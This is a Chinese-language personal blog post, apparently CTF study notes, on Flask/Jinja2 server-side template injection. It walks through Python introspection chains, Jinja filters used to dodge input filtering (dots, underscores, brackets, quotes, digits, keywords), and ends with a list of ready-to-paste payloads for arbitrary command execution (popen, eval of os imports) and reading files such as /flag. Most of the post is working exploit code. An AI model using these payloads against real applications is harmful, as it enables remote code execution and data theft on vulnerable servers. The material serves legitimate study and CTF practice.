Z1d10tのBlog

A note for myself,have fun!

  1. 1. SSTI前置知识
    1. 1.1. class
    2. 1.2. base__和__bases
    3. 1.3. mro
    4. 1.4. subclasses()
    5. 1.5. init
    6. 1.6. globals
    7. 1.7. builtins
      1. 1.7.1. python2 中为__bulitins__和__bulitin__
      2. 1.7.2. python3中为__builtins__和builtins
    8. 1.8. import()
  2. 2. 过滤器
    1. 2.1. attr()
    2. 2.2. format()
    3. 2.3. first() last() random()
    4. 2.4. join()
    5. 2.5. lower()
    6. 2.6. replace() reverse()
    7. 2.7. string
    8. 2.8. select
    9. 2.9. list
  3. 3. 变量
    1. 3.1. 拼接:
    2. 3.2. 反转
    3. 3.3. ascii转换
    4. 3.4. 编码绕过
    5. 3.5. 在jinja2里面可以利用~进行拼接
  4. 4. SSTI语句构造
    1. 4.1. 首先就是要拿到当前类
    2. 4.2. 拿object
    3. 4.3. 拿基类的子类
    4. 4.4. __init__方法进行初始化类
    5. 4.5. 然后再调用__globals__获取到方法内以字典的形式返回的方法、属性
  5. 5. SSTI常见的绕过方式
    1. 5.1. 绕过.
    2. 5.2. 绕过_
    3. 5.3. 绕过[]
    4. 5.4. 绕过花括号
    5. 5.5. 绕过单引号和双引号
    6. 5.6. 绕过数字
    7. 5.7. 绕过关键字
  6. 6. 常用payload
  7. 7. 后言:

Flask SSTI

SSTI前置知识

1
2
3
4
{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
##可以有和{%%}相同的效果

了解一些python的魔术方法和内置类

class

返回该对象所属的类

1
2
3
4
>>>''.__class__ #''里面是字符串类型
<class 'str'>
>>>().__class__
<class 'tuple'> #()里面是元组类型

base__和__bases

都是用于获取类的基类 基类也叫父类

但是base是以字符串形式 而bases以元组的形式返回一个类所直接集成的类

1
2
3
4
5
6
7
>>> "".__class__
<class 'str'>
>>> "".__class__.__base__
<class 'object'>
//objectstr的基类
>>>"".__class__.__bases__
(<class 'object'>,)

mro

返回解析方法调用的顺序

(当调用_mro_[1]或者-1时作用其实等同于_base_)

1
2
3
4
5
6
>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[1]
<class 'object'>
>>> "".__class__.__mro__[-1]
<class 'object'>

subclasses()

获取类的所有子类

这里需要知道object是所有类的基类

所以object下子类是所有类

1
2
>>>"".__class__.__base__.__subclasses__()
可以获取到很多我们可以利用的类 然后通过[]索引下标来获取我们想要的类

init

所有可被当作模板导入的都包含__init__方法,通过此方法来调用__globals__方法

globals

该方法会以字典的形式返回当前位置的所有全局变量

所有函数都会有一个 globals 属性, 用于获取当前空间下可使用的模块、方法及其所有变量,结果是一个字典

builtins

python2 中为__bulitins__和__bulitin__

builtins 实际上是一个指向或者说引用 builtin 的(有点类似于软链接)

这里 builtins 是内建名称空间,是这个模块本身定义的一个名称空间,在这个内建名称空间中存在一些我们经常用到的内置函数(即不需要导入包即可调用的函数)如:print()、str()还包括一些异常和其他属性。

python3中为__builtins__和builtins

builtins 代替的 builtin

在python中有一些BIF(内置函数)是可以直接调用的,比如str(), print()等,这些函数可以通过 dir(builtins) 可以查到。

img

import()

该方法用于动态加载类和函数 如果一个模块经常变化就可以使用__import__()来动态载入 语法__import__(模块名)

总体思路就是:

1
找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。

过滤器

变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数

可以链接多 个过滤器

一个过滤器的输出应用于下一个过滤器。

attr()

用于获取对象的属性

1
2
3
""|attr("__class__")
相当于
"".__class__

常见于点号.被过滤,或者点号.和中括号[]都被过滤的情况

format()

简单理解就是格式化字符

1
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)  #相当于__class__

first() last() random()

返回第一个值 最后一个值或者随机

随机的话需要我们跑个脚本就有几率获取到我们想要的内容了

1
2
3
4
5
6
>>>"".__class__.__base__.__subclasses__()|first()
<class 'type'>
>>>"".__class__.__base__.__subclasses__()|last()
<class 'jinja2.ext._CommentFinder'>
>>>"".__class__.__base__.__subclasses__()|random()
<class 'wrapper_descriptor'>

join()

字符串拼接

1
2
3
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

lower()

转化为小写

1
2
>>>""["__CLASS__"|lower()]
<class 'str'>

replace() reverse()

替换和反转还原回我们要用的字符串

1
2
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"

string

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

1
2
3
4
>>>().__class__ 
<class 'tuple'>
>>>(().__class__|string)[1] #注意这里要先()括起来然后再用下标调用
c

select

和之前的结合起来有大作用

1
2
>>>()|select|string
<generator object select_or_reject at 0x7fc7678cdf90>

然后我们就可以切字符了

1
2
3
4
5
6
7
8
9
10
11
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

得到字符串"__class__"

list

转换成列表

更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了

其实更多的是可以用list的函数了

1
2
3
4
>>>()|select|string|list
['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', 'c', '7', '6', '7', '8', 'c', 'd', 'f', '2', '0', '>']['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', 'c', '7', '6', '7', '8', 'c', 'd', 'f', '2', '0', '>']
>>>(()|select|string|list)[1]
g

变量

除了标准的python语法使用点.外,还可以使用中括号[]来访问变量的属性

1
2
{{"".__class__}}
{{""['__classs__']}}

拼接:

1
"__cla"+"ss__"`其实不用加中间的加号也可以 直接`"__cla""ss__"

反转

"__ssalc__"[::-1] 其实是python的切片

ascii转换

1
2
3
4
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
>>>""["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
<class 'str'>

编码绕过

1
2
3
\x5f\x5fclass\x5f\x5f #16进制 __class__
>>>""["\x5f\x5fclass\x5f\x5f"]
<class 'str'>

在jinja2里面可以利用~进行拼接

1
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

SSTI语句构造

首先就是要拿到当前类

1
2
3
{{"".__class__}}
或者
{{().class}}

拿object

也就是需要object然后再从它的子类中找我们可以利用的

1
2
3
4
{{"".__class__.__mro__[1]}}
{{"".__class__.__mro__[-1]}}
"".__class__.__bases__[0]
{{"".__class__.__base__}}

拿基类的子类

__subclasses__()获取子类

大多数利用的是os.wrap_close这个类

然后就是来找我们想要的内容 调教gpt帮我们写一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def format_content(content):
lines = content.split(",") # 以逗号为分隔符将内容拆分成行
formatted_lines = [f"{i + 1}. {line.strip()}" for i, line in enumerate(lines)] # 为每一行添加序号
formatted_content = "\n".join(formatted_lines) # 将格式化后的行重新组合成字符串
return formatted_content

filename = "content.txt"

with open(filename, 'r') as file:
input_content = file.read()

formatted_content = format_content(input_content)
print("格式化后的内容:") #找到的序号需要-1 注意一下
print(formatted_content)

只要将前后的[]删去 然后放到content.txt就能自动帮我们标上序号了 然后序号要-1 因为脚本是从1开始的

img

__init__方法进行初始化类

1
2
>>>{{"".__class__.__base__.__subclasses__()[132].__init__}}
<function _wrap_close.__init__ at 0x7f2ee6fb25e0>

然后再调用__globals__获取到方法内以字典的形式返回的方法、属性

img

现在用命令执行函数或者模块就行了

1
>>>{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

有一个很厉害的模块是buildtins里面有eval()等函数可以用来rce

img

1
{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

SSTI常见的绕过方式

绕过.

  1. 前面也举了很多例子 可以用[]来代替
1
{{"".__class__}}={{""['__class']}}
  1. 可以用attr()过滤器
1
{{"".__class__}}={{""|attr('__class__')}}

绕过_

  1. 通过list获取字符列表,然后用pop来获取_ 其实就是去截_
1
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
  1. 通过十六进制编码
1
{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}

绕过[]

可以使用__getitem__魔术方法 简单说就是把中括号转换为括号

1
__bases__[0]=__bases__.__getitem__(0)

其实本质是我们用[]的时候 调用的就是这个魔术方法而已

绕过花括号

可以用{%%}bypass 这时就要在里面用print()来打印结果了

1
2
3
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('whoami').read()}}
修改为
{%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('whoami').read())%}

也可以借助for循环和if语句来执行命令

1
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}

注意这里循环语句 有{%for}`就要有`{%endfor%}

{%if}` 就要有`{%endif%}

绕过单引号和双引号

当单引号和双引号被ban时,我们通常采用request.args.a,然后给a赋值这种方式来进行绕过

1
{{url_for.__globals__[request.args.a]}}&a=__builtins__  等同于 {{url_for.__globals__['__builtins__']}}

原理

img

如果args也被禁了

可以采用request.cookiesrequest.values,他们利用的方式大同小异

1
2
GET:{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'

绕过数字

可以通过count来得到数字

1
2
{{(dict(e=a)|join|count)}} #1
{{(dict(eee=a)|join|count)}}#3

在这里join将字典的键连接起来 然后count

绕过关键字

和上面相同的原理 join拼接

1
{{dict(__in=a,it__=a)|join}}  =__init__

常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

后言:

做题慢慢补充

参考:https://tttang.com/archive/1698/#toc__4

本文最后更新于 天前,文中所描述的信息可能已发生改变